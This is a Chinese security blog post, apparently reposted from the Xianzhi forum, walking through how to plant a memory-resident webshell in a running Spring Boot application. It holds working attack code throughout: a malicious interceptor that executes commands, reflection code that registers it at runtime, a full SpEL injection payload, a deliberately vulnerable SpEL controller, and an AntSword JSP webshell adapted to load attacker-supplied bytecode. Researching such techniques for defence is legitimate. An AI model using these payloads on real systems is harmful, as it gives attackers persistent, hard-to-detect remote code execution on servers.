SpringBoot拦截器注入内存马实验 - 命运石之门

admin 2021年12月31日15:54:24评论514 views字数 8721阅读29分4秒阅读模式

大体思路:request 到达 Controller 层时会经过 Interceptor (拦截器),所以我们可以自定义一个恶意拦截器,并将其注入正在运行的Spring应用。使得 request 经过我们的恶意拦截器时触发恶意代码执行命令。

测试环境:
java version 1.8.0_221
Spring Boot 2.5.1

一、拦截器的使用


1.1 拦截器的实现

可以通过继承 HandlerInterceptorAdapter 类并覆盖其 preHandle 方法实现拦截。preHandle是请求执行前执行,preHandle 方法中写一些拦截的处理,比如下面,当请求参数中带 id 时进行拦截,并写入字符串 InterceptorTest OK! 到 response。

package com.example.spel.interceptor;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

public class InterceptorTest extends HandlerInterceptorAdapter {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if( request.getParameter("id") != null ) {
            PrintWriter writer = response.getWriter();
            writer.write("InterceptorTest OK!");
            writer.flush();
            writer.close();
            return false;   //拦截
        }
        return true;    //不拦截
    }
}

1.2 拦截器的注册

实现拦截器后还需要将拦截器注册到spring容器中,可以通过implements WebMvcConfigurer,覆盖其addInterceptors(InterceptorRegistry registry)方法

package com.example.spel.config;

import com.example.spel.interceptor.InterceptorTest;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new InterceptorTest());
    }
}

1.3 拦截器测试

  • 带 id 请求参数拦截

  • 不拦截

SpringBoot拦截器注入内存马实验 -  命运石之门

二、运行时拦截器的注册


2.1 运行时注册的实现

假设我们自定义了一个恶意的拦截器:

package com.example.spel.controller;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class Madao  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if (request.getParameter("calc") != null) {
            Runtime.getRuntime().exec("calc");
            return false;
        }
        return true;
    }
}

之前展示了如何手动注入拦截器,那么如何往运行中的 SpringBoot 应用中注入这个恶意的拦截器呢?

  • 首先获取应用的上下文环境,也就是ApplicationContext
  • 然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
  • 反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
  • 通过 adaptedInterceptors注册拦截器

运行时注册拦截器具体代码如下:

// 恶意拦截器类名
String className = "com.example.spel.controller.Madao";

byte[] bytes = Base64Utils.decodeFromString("恶意拦截器的class文件的base64编码");

ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();

// defineClass 恶意拦截器类
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
method.invoke(classLoader, className, bytes, 0, bytes.length);

// 获取应用上下文
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 获取AbstractHandlerMapping实例, 用于反射
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");

// 反射获取 adaptedInterceptors 字段用于注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<object> adaptedInterceptors = (ArrayList<object>) field.get(abstractHandlerMapping);

//实例化恶意拦截器并注册
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

2.2 运行测试

对上面的恶意拦截器类进行编译生成 class 文件,再进行 base64 编码。
SpringBoot拦截器注入内存马实验 -  命运石之门

第一次请求,将恶意的拦截器注入正在运行的应用中。

之后的请求,触发恶意拦截器,执行命令。

三、Spel 表达式注入写内存shell


3.1 Spel 表达式注入的实现

@Controller
@ResponseBody
public class SpelController {

    @GetMapping("/spel")
    public String spelTest(@RequestParam("input") String input) {

        String template = input;

        ParserContext parserContext = new TemplateParserContext();

        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(template, parserContext);

        return expression.getValue().toString();
    }
}

3.2 Spel 运行时注册拦截器

_标题二 中的运行时注册拦截器具体 __代码_改写为 Spel 表达式的形式:

#{((#Method=T(ClassLoader).getDeclaredMethod("defineClass", T(String), T(byte[]), T(int), T(int)))==(#Method.setAccessible(true))) or ((#Method).invoke(T(Thread).currentThread().getClass().getClassLoader(), "com.example.spel.controller.Madao", T(org.springframework.util.Base64Utils).decodeFromString("这里是恶意拦截器的class文件的base64编码"), 0, 这里填byte字节码长度)==(#Field=T(org.springframework.web.servlet.handler.AbstractHandlerMapping).getDeclaredField("adaptedInterceptors"))) or ((#Field.setAccessible(true))==(#Field.get(T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0).getBean("requestMappingHandlerMapping")).add(T(Thread).currentThread().getClass().getClassLoader().loadClass("com.example.spel.controller.Madao").newInstance())))}

3.3 运行测试

对上面的 spel 表达式进行 urlEncode。

第一次请求,通过Spel 表达式注入,将恶意的拦截器注入正在运行的应用中。

之后的请求,触发恶意拦截器,执行命令。

四、蚁剑连接


冰蝎同理。
将蚁剑的 jsp 马进行改写,然后加入我们自定义的拦截器中。实现蚁剑连接。

4.1 蚁剑中的 jsp

蚁剑中生成的 jsp 马如下:

<%-- 使用时请删除此行, 连接密码: 1234 --%>
<%!
class AUXILIARY extends ClassLoader{
  AUXILIARY(ClassLoader c){super(c);}
  public Class profiler(byte[] b){
    return super.defineClass(b, 0, b.length);
  }
}
public byte[] first_class(String str) throws Exception {
  Class base64;
  byte[] value = null;
  try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
  } catch (Exception e) {
    try {
      base64=Class.forName("java.util.Base64");
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
  }
  return value;
}
%>
<%
String cls = request.getParameter("1234");
if (cls != null) {
  new AUXILIARY(this.getClass().getClassLoader()).profiler(first_class(cls)).newInstance().equals(new Object[]{request,response});
}
%>

简单解释一下就是,因为我们无法直接调用 ClassLoaderdefineClass方法,所以这里声明了一个类(AUXILIARY)继承了 ClassLoader 后调用父类的 defineClass。既然控制了ClassLoaderdefineClass方法 ,那么我们便可以加载任意的类,为所欲为!

目标服务器端通过 request.getParameter("1234") 来接收蚁剑发送的重写了 equals 方法(恶意方法)的类的字节码。目标服务器加载字节码,之后获取类实例,调用包含恶意代码的 equals 方法。

4.2 改造jsp以加入恶意拦截器中

这里记录一下改写过程的踩坑点吧。

  • 通过继承(放弃)

因为这里的恶意拦截器类已经继承了 HandlerInterceptorAdapter类,所以无法再让其继承 ClassLoader类来实现加载恶意字节码。所以打算在恶意拦截器类中再声明一个继承 ClassLoader的内部类,然后利用该内部类去加载恶意的字节码。方案如下:

package com.example.spel.controller;


import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;


public class Madao  extends HandlerInterceptorAdapter {

    class AUXILIARY extends ClassLoader{
        AUXILIARY(ClassLoader c){super(c);}
        public Class profiler(byte[] b){
            return super.defineClass(b, 0, b.length);
        }
    }

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

        String cls = request.getParameter("1234");
        if (cls != null) {

            byte[] value = Base64Utils.decodeFromString(cls);
            new AUXILIARY(this.getClass().getClassLoader()).profiler(value).newInstance().equals(new Object[]{request,response});
            return false;
        }
        return true;
    }
}

但是写完进行编译后因为使用了内部类的原因,所以会上传两个 class 文件:
SpringBoot拦截器注入内存马实验 -  命运石之门
所以果断放弃这种方法。

  • 通过反射

利用反射去调用 ClassLoaderdefineClass方法,来加载任意类。

需要注意:同一个ClassLoader不能多次加载同一个类。 如果重复的加载同一个类 , 将会抛出 attempted duplicate class definition for name 异常。 所以,在加载类时, 加载该Class的ClassLoader也必须用新的,这里每次直接用反射获取 ClassLoader 实例。

首先我们反射获取 ClassLoader 的实例,但是 ClassLoader 是抽象类,无法直接实例化。
SpringBoot拦截器注入内存马实验 -  命运石之门

所以我们可以先找一个继承 ClassLoader 的内置类,再反射获取其实例。这里选择了 SecureClassLoader 类。
SpringBoot拦截器注入内存马实验 -  命运石之门
SpringBoot拦截器注入内存马实验 -  命运石之门

反射获取实例代码:

Constructor c = SecureClassLoader.class.getDeclaredConstructor();
c.setAccessible(true);
ClassLoader classLoader = (ClassLoader) c.newInstance();

最终恶意拦截器的实现代码:

package com.example.spel.controller;


import org.springframework.util.Base64Utils;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.security.SecureClassLoader;


public class Madao  extends HandlerInterceptorAdapter {

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cls = request.getParameter("1234");
        if (cls != null) {

            byte[] value = Base64Utils.decodeFromString(cls);

           // 反射获取 defineClass 方法
            Method dm = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            dm.setAccessible(true);

            // 反射获取 ClassLoader 实例
            Constructor c = SecureClassLoader.class.getDeclaredConstructor();
            c.setAccessible(true);
            ClassLoader classLoader = (ClassLoader) c.newInstance();


            Class clazz = (Class)dm.invoke(classLoader, value, 0, value.length);

            clazz.newInstance().equals(new Object[]{request, response});
            return false;

        }
        return true;
    }
}

编译成 class 文件,并进行 base64 编码。然后利用上面的 spel 注入注册恶意拦截器。

蚁剑连接:
SpringBoot拦截器注入内存马实验 -  命运石之门
SpringBoot拦截器注入内存马实验 -  命运石之门

五、写在后面

新手,刚学 java,若有出错,请多多指教。

参考链接(感谢):
https://landgrey.me/blog/19/
https://xz.aliyun.com/t/7491

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:54:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringBoot拦截器注入内存马实验 - 命运石之门http://cn-sec.com/archives/713013.html

发表评论

匿名网友 填写信息